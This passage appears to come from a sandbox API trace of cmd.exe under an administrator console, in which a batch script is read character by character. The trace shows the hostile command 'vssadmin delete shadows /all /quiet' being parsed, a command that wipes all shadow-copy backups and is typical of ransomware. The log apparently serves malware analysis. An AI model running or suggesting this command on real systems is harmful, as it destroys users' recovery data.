lpDistanceToMoveHigh=0x0) returned 0x0 [0290.911] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.911] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0290.911] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.911] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.911] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.911] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0290.911] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.911] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.911] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.911] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0290.911] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.911] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.912] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.912] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0290.912] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.912] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.912] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.912] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0290.912] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.912] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.912] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.912] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0290.912] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.912] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.912] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.912] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0290.912] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.912] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.912] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.912] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0290.912] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.912] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.912] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.913] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0290.913] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.913] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.913] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.913] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0290.913] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.913] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.913] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.913] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0290.913] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.913] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.913] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.913] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0290.913] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.913] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.913] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.913] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0290.913] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.913] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.913] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.913] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0290.913] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.913] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.914] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.914] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0290.914] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.914] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.914] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.914] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0290.914] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.914] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.914] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.914] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0290.914] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.914] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.914] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.914] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0290.914] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.914] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.914] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.914] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0290.914] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.914] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.914] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.914] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0290.915] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.915] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.915] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.915] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0290.915] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.915] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.915] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.915] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0290.915] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.915] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.915] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.915] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0290.915] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.915] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.915] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.915] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0290.915] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.915] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.915] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.915] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0290.916] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.916] GetFileType (hFile=0xf94) returned 0x3 [0290.916] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.916] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.916] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.916] GetFileType (hFile=0xfa0) returned 0x3 [0290.916] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.916] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0290.916] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xf9aaeffa48, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeffa48*=0x24, lpOverlapped=0x0) returned 1 [0290.916] GetProcessHeap () returned 0x29f96d20000 [0290.916] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x4012) returned 0x29f96d28bb0 [0290.916] GetProcessHeap () returned 0x29f96d20000 [0290.916] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d28bb0) returned 1 [0290.917] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0290.917] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0290.917] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0290.917] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0290.917] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0290.917] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0290.917] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0290.917] GetProcessHeap () returned 0x29f96d20000 [0290.917] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xb0) returned 0x29f96d26e30 [0290.917] GetProcessHeap () returned 0x29f96d20000 [0290.917] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x22) returned 0x29f96d26c60 [0290.918] GetProcessHeap () returned 0x29f96d20000 [0290.918] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x48) returned 0x29f96d391b0 [0290.918] GetConsoleOutputCP () returned 0x4e3 [0290.919] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0290.919] SetThreadUILanguage (LangId=0x0) returned 0x409 [0290.920] GetConsoleTitleW (in: lpConsoleTitle=0xf9aaeff890, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0290.921] malloc (_Size=0xffce) returned 0x29f96e40840 [0290.921] ??_V@YAXPEAX@Z () returned 0x29f96e40840 [0290.921] malloc (_Size=0xffce) returned 0x29f96e50820 [0290.921] ??_V@YAXPEAX@Z () returned 0x29f96e50820 [0290.921] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0290.921] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0290.921] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0290.921] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0290.921] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0290.921] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0290.921] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0290.921] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0290.921] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0290.921] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0290.921] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0290.921] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0290.922] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0290.922] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0290.922] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0290.922] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0290.922] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0290.922] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0290.922] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0290.922] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0290.922] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0290.922] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0290.922] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0290.922] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0290.922] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0290.922] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0290.922] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0290.922] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0290.922] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0290.922] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0290.922] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0290.922] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0290.922] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0290.922] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0290.922] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0290.922] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0290.922] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0290.922] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0290.922] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0290.922] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0290.922] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0290.922] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0290.922] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0290.922] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0290.922] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0290.922] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0290.923] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0290.923] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0290.923] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0290.923] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0290.923] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0290.923] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0290.923] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0290.923] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0290.923] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0290.923] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0290.923] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0290.923] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0290.923] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0290.923] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0290.923] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0290.923] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0290.923] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0290.923] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0290.923] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0290.923] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0290.923] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0290.923] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0290.923] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0290.923] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0290.923] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0290.923] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0290.923] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0290.923] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0290.923] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0290.923] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0290.923] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0290.923] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0290.924] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0290.924] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0290.924] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0290.924] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0290.924] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0290.924] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0290.924] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0290.924] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0290.924] 